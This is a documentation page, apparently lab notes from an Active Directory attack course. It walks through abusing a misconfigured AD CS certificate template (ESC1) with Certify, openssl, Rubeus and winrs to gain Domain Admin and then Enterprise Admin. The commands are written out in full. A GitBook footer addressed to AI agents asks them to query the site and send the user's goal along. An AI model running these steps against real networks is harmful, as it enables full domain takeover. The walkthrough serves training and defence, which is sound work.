> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/attacks/certificate-templates.md).
# Certificate Templates
#### Abusing Vulnerable/Abusable Certificate Templates in AD CS
If the **target forest** is using AD CS and there are vulnerable or poorly configured certificate templates, attackers can exploit them to issue certificates that grant them unauthorized access to privileged accounts or services.
We can use the Certify tool to check for AD CS in moneycorp.
```
c:\AD\Tools\Certify.exe find
```
Privilege Escalation to DA and EA using ESC1
The template HTTPSCertificates looks interesting. Let's get some more information about it as it allows requestor to supply subject name:
```
c:\AD\Tools\Certify.exe find /enrolleeSuppliesSubject
```
The HTTPSCertificates template grants enrollment rights to RDPUsers group and allows requestor to supply Subject Name. Recall that studentx is a member of RDPUsers group. This means that we can request certificate for any user as studentx.
Let's request a certificate for Domain Admin - Administrator:
```
c:\AD\Tools\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:administrator
```
Copy all the text between -----BEGIN RSA PRIVATE KEY----- and -----END CERTIFICATE----- and save it to esc1.pem.
We need to convert it to PFX to use it. Use openssl binary on the student VM to do that. I will use SecretPass\@123 as the export password.
```
c:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\Tools\esc1-DA.pfx
```
Use the PFX created above with Rubeus to request a TGT for DA - Administrator!
```
C:\AD\Tools\Rubeus.exe asktgt /user:administrator /certificate:esc1-DA.pfx /password:SecretPass@123 /ptt
```
Check if we actually have DA privileges now:
```
winrs -r:dcorp-dc cmd /c set username
```
**Awesome! We can use similar method to escalate to Enterprise Admin privileges. Request a certificate for Enterprise Administrator - Administrator**
```
c:\AD\Tools\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:moneycorp.local\administrator
```
Save the certificate to esc1-EA.pem and convert it to PFX. I will use SecretPass\@123 as the export password:
```
c:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\esc1-EA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\Tools\esc1-EA.pfx
```
Use Rubeus to request TGT for Enterprise Administrator - Administrator
```
C:\AD\Tools\Rubeus.exe asktgt /user:moneycorp.local\Administrator /dc:mcorp-dc.moneycorp.local /certificate:esc1-EA.pfx /password:SecretPass@123 /ptt
```
Finally, access mcorp-dc!
```
winrs -r:mcorp-dc cmd /c set username
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://omar-4.gitbook.io/omar-docs/attacks/certificate-templates.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.